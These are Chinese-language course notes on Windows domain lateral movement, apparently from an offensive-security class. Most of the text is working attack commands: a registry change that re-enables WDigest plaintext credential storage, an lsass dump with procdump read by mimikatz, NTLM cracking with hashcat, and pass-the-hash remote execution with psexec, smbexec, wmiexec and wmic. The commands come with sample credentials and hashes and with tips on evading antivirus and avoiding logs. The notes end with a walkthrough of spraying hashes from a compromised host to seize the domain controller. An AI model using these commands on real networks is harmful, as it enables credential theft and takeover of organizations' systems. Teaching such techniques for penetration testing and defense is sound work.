这节课围绕着这两个协议来讲
知识点一:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
在实战情况下就有可能获取不到明文密码(操作系统高关闭了wdigest
,打上了补丁),
针对这种方法,我们有四种方法解决这一类问题
1,利用hash的传递攻击(pth,ptk等和利用)进行移动
2,利用其他服务协议(SMB,WMI等)进行hash移动
三四种方法是围绕怎么得到明文密码
3,利⽤注册表操作开启Wdigest Auth值进⾏获取;前提条件:权限允许
#注册表操作开启Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v
UseLogonCredential
/t
REG_DWORD
/d
1
/f
换成1就是开启
4,利⽤⼯具或第三⽅平台(Hachcat)进⾏破解获取;缺点:容易被杀软杀掉
知识点二
Windows系统的LM HASH及NTLM Hash加密算法,个⼈系统在Windows vista后,服务器系统在 Windows 2003以后,认证⽅式均为NTLM Hash。
案例一Procdump+Mimikatz配合获取
建立在秘密Katz获取失败,就用到Procdump结合,Procdump放到对方服务器上面运行,
Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump(注意:需要管理员权限),将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。==》弱密码检测也可以使用此策略!
- Procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
- mimikatz下载:https://github.com/gentilkiwi/mimikatz/releases
# procdump 在目标机上执行
procdump -accepteula -ma lsass.exe lsass.dmp
之后就在当前目录会生成一个dmp文件,这个文件dmp就是密码和hash值组成的文件,再用mimikatz把这个dmp文件载入进去,
获取全部的密码:sekurlsa::logonPasswords full
出来了密码
Procdump所有版本都可以运行,刚刚演示我只需要把生成的dmp文件导出来就可以用mimikatz解密,而在实战情况下,我们就只需要把Procdump上传到靶机,然后执行完把dmp文件导入本机,就可以用mimikatz破解获取密码。
可以避免mimikatz在靶机被杀软杀掉的情况
Hashcat 破解获取 Windows NTML Hash
注意好参数就可以了,
Hashcat下载:https://github.com/hashcat/hashcat(kail自带了不用下载)
---密码破解全能工具-Hashcat密码破解攻略:
https://www.freebuf.com/sectool/164507.html
爆破命令:hashcat -a 0 -m 1000 hash file –force
-a, --attack-mode=NUM 攻击模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。(这里是字典攻击)
-m 1000指向的是NTLM Hash哈希协议
hash是要破解的哈希字符串,file为字典的地址
案例二域横向移动 SMB 服务利用-psexec,smbexec
- Pstools官方工具包:
- https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
- impacket工具包:
- https://gitee.com/RichChigga/impacket-examples-windows
- https://github.com/SecureAuthCorp/impacket
Pstools官方工具包
利用windows上smb'服务,利用明文或者hash进行远程执行的,条件是445端口开放
psexec是windows官方自带的工具,下载好了之后上传到靶机上面,不会被杀软杀掉,
第一种攻击,psexec,第一种使用方式,建立ipc链接,psexec需要明文或者hash进行传递
net use \\192.168.3.32\ipc$
"admin!@#45"
/user
:administrator
psexec \\192.168.3.32 -s cmd
# 需要先有ipc链接 -s以System权限运行
就对着命令行输入就行
-s是指以system权限运行
psexec的第二种攻击方式,不需要建立ipc链接,直接使用明文或者hash进行传递,
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ .
/administrator
@10.1.2.3
psexec -hashes :$HASH$ domain
/administrator
@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c .
/administrator
@192.168.3.32
官方提供的软件只支持明文传输,想用hash值就要用上一个工具包,impacket,但是不是官方自带的,要做一些免杀,在工具包目录里面运行cmd,在执行这个命令,就直接用hash值传递就是system权限,
这种就不需要建立连接,直接反弹cmd的系统权限回来,
有明文还是最好用官方的,只有hash值才用工具包
smbexec工具
第三方的工具包,要做好免杀,
无需建立ipc链接,明文或者hash值都可以传递;
smbexec god
/administrator
:Admin12345@192.168.3.21
god对域内主机链接,
前面加上god就是让他连接这个ip的的管理用户,不加god就是链接本机的管理用户
hash值,是箭头指向的值。
在对方打了补丁或者开启了那个东西的时候,只能获取hash指,就
建立哈希连接(sqlserver的本地管理员):
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
一样可以系统权限;
案例三域横向移动WMI 服务利用-cscript,wmiexec,wmic
WMI是通过135端口进行连接的,支持用户明文或者hash指的方式进行认证,并且该方法不会在对方日志系统里面留下痕迹,更加隐蔽
第一个链接方式,自带WMI,
不会被查杀;但是需要明文密码,缺点没有回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
连接之后,创建cmd程序,执行ipconfig,把结果写入到c盘的1.txt文件
执行完成,
在目标主机就有ipconfig的返回结果
功能有点尴尬,还要二次看回显
自带cscript
不会被查杀,明文密码传输,有回显
但他要借助一个vbs,
wmiexec.vbs脚本下载:
https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
vbs文件更好做免杀,把vbs放到同一个目录
命令;
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
第三个impacket 套件里面的llwmiexec
支持明文或者hash指传输,有回显,有exe版本,但不是系统自带的容易被查杀,
来到工具包目录执行cmd
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"(或者"ipconfig")
这个套件里面的就直接执行命令
hash指链接
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
案例四域横向移动以上服务 hash 批量利用-python 编译 exe
总体思路,我们
我们现在是有web服务器权限的权限,通过这个外网ip入侵成功,拿下了这台主机的权限,然后攻击域里面别的主机。
第一步进行信息探针
域用户的信息
域用户的凭据信息收集
探针域内存活主机及其信息
这些都收集完之后,有明文密码也有hash值,利用这些明文和hash值,利用脚本实现批量的爆破, 然后利用成功的hash值执行命令,继续手机用户凭据信息。
在第一台web服务器里,收集到的账户密码和hash值
之后进行ip地址的探针,用自带的命令进行探针
收集好的ip地址写在文档里
在将收集好的域用户名字收集起来,net user /domain
本地登陆的原因,不会收到的域控的管理,不然安装东西,上传脚本都会受到域里的限制
这里前提条件苛刻一些,没有收集到明文密码,只收集到了hash值,
然后写一个pthon的爆破脚本,打包成exe,然后上传到肉鸡上面执行他,然后失败了,没有一个链接成功的,遇见这种情况之后,在脚本里面多写一条命令,写一条登录本地用户组的命令,
在上传上去,
有一条成功了,
就扽古这个192.168.3.29的主机可以拿下,那个这个肉鸡之后,继续用mimikatz获取到用户凭据密码信息,
然后就可以把密码信息更新一下,在利用脚本爆破
又成功了一个,192.168.3.21,域控主机,拿下域控主机就等于拿下了全部主机,
fa
cai